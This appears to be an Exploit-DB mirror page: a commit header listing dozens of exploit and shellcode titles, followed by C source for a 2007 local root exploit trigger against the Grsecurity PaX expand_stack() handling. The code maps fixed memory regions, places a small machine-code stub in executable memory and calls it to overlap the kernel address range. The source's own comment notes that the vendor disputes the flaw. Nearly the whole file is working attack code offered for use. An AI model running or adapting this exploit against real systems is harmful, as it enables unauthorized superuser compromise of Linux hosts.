exploit-db-mirror/exploits/linux/local/29446.c
Offensive Security 880bbe402e DB: 2019-03-08
14991 changes to exploits/shellcodes

HTC Touch - vCard over IP Denial of Service

TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities

PeerBlock 1.1 - Blue Screen of Death

WS10 Data Server - SCADA Overflow (PoC)

Symantec Endpoint Protection 12.1.4013 - Service Disabling
Memcached 1.4.33 - 'Crash' (PoC)
Memcached 1.4.33 - 'Add' (PoC)
Memcached 1.4.33 - 'sasl' (PoC)
Memcached 1.4.33 - 'Crash' (PoC)
Memcached 1.4.33 - 'Add' (PoC)
Memcached 1.4.33 - 'sasl' (PoC)

Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow

man-db 2.4.1 - 'open_cat_stream()' Local uid=man

CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation

CDRecord's ReadCD - Local Privilege Escalation
Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH)
FreeBSD - Intel SYSRET Privilege Escalation (Metasploit)

CCProxy 6.2 - 'ping' Remote Buffer Overflow

Savant Web Server 3.1 - Remote Buffer Overflow (2)

Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow

Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow
QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit)
Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit)
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit)
Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass)
TeamCity < 9.0.2 - Disabled Registration Bypass
OpenSSH SCP Client - Write Arbitrary Files
Kados R10 GreenBee - Multiple SQL Injection
WordPress Core 5.0 - Remote Code Execution
phpBB 3.2.3  - Remote Code Execution

Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator)
Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
2019-03-08 05:01:50 +00:00

103 lines
No EOL
2.7 KiB
C

/*
source: https://www.securityfocus.com/bid/22014/info
Grsecurity Kernel PaX is prone to a local privilege-escalation vulnerability.
An attacker can exploit this issue to obtain superuser privileges. A successful attack can result in the complete compromise of the affected computer.
NOTE: The vendor disputes the issue, stating that the application is not vulnerable.
Digital Armaments has provided an exploit and updated advisory outlining specific details of this vulnerability. Please see the reference section for further information.
*/
/*
** expand_stack() PaX local root vulnerability
** Vulnerability trigger.
**
** Copyright (C) 2007
** Digital Armaments Inc. - www.digitalarmaments.com
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <signal.h>
#include <stdio.h>
#include <sched.h>
#include <fcntl.h>
#include <asm/page.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/wait.h>
#define KBASE 0xc0000000
#define SEGMEXEC_TASK_SIZE (KBASE / 2)
#define LOSTPAGE_SIZE (PAGE_SIZE * 3)
#define MAP1_BASE 0x00004000
#define MAP2_BASE MAP1_BASE - LOSTPAGE_SIZE
#define PF_BASE MAP1_BASE + SEGMEXEC_TASK_SIZE - 0x4000
#define PAGE_GROW_NB 10
static char ucode [40] = "\xbe\x00\xF0\xFF\x5F\x83\x3e\x2a";
void mouarf (int signum)
{
char * str = (char *) (MAP1_BASE + 600);
memset ((void *)(MAP1_BASE + 600), 0x90, 40);
str [26] = 0xc3; /* ret */
return;
}
int main( void )
{
int i = 1;
void (* p)();
signal (SIGBUS, mouarf);
if( mmap( (void *) MAP1_BASE, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_FIXED |
MAP_ANONYMOUS | MAP_PRIVATE | MAP_GROWSDOWN, 0, 0 ) == (void *) -1 )
{
perror( "mmap map1 base\n" );
return( 1 );
}
if( mmap( (void *) 0x0, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_FIXED |
MAP_ANONYMOUS | MAP_PRIVATE | MAP_GROWSDOWN, 0, 0 ) == (void *) -1 )
{
perror( "mmap 0x0 failed\n" );
return( 1 );
}
if( mprotect( (void *) MAP1_BASE, PAGE_SIZE,
PROT_READ | PROT_WRITE | PROT_EXEC ) < 0 )
{
perror( "mprotect map1 base" );
fprintf( stderr, "run chpax -m on this executable\n" );
return( 1 );
}
* (int *) (ucode + 1) = (SEGMEXEC_TASK_SIZE - (PAGE_SIZE * i));
memcpy ((void *)(MAP1_BASE + 600), ucode, 20);
p = (void *) MAP1_BASE + 600;
printf ("--> about to fault on %X\n", SEGMEXEC_TASK_SIZE - (PAGE_SIZE * i));
p ();
printf ("Overlaping the kernel by %d pages\n", i);
fflush( stdout );
printf ("Calling munmap ... %X, %x\n", 0x2000, 0x1000);
if (munmap (0x2000, 0x1000) < 0 )
perror ("munmap");
// printf ("Calling mremap ... \n");
// if (mremap (0x2000, 0x1000, 0x10000, MREMAP_MAYMOVE) < 0 )
// perror ("mremap");
printf ("PID:%d, sleeping\n", getpid ());
sleep (2000);
return( 0 );
}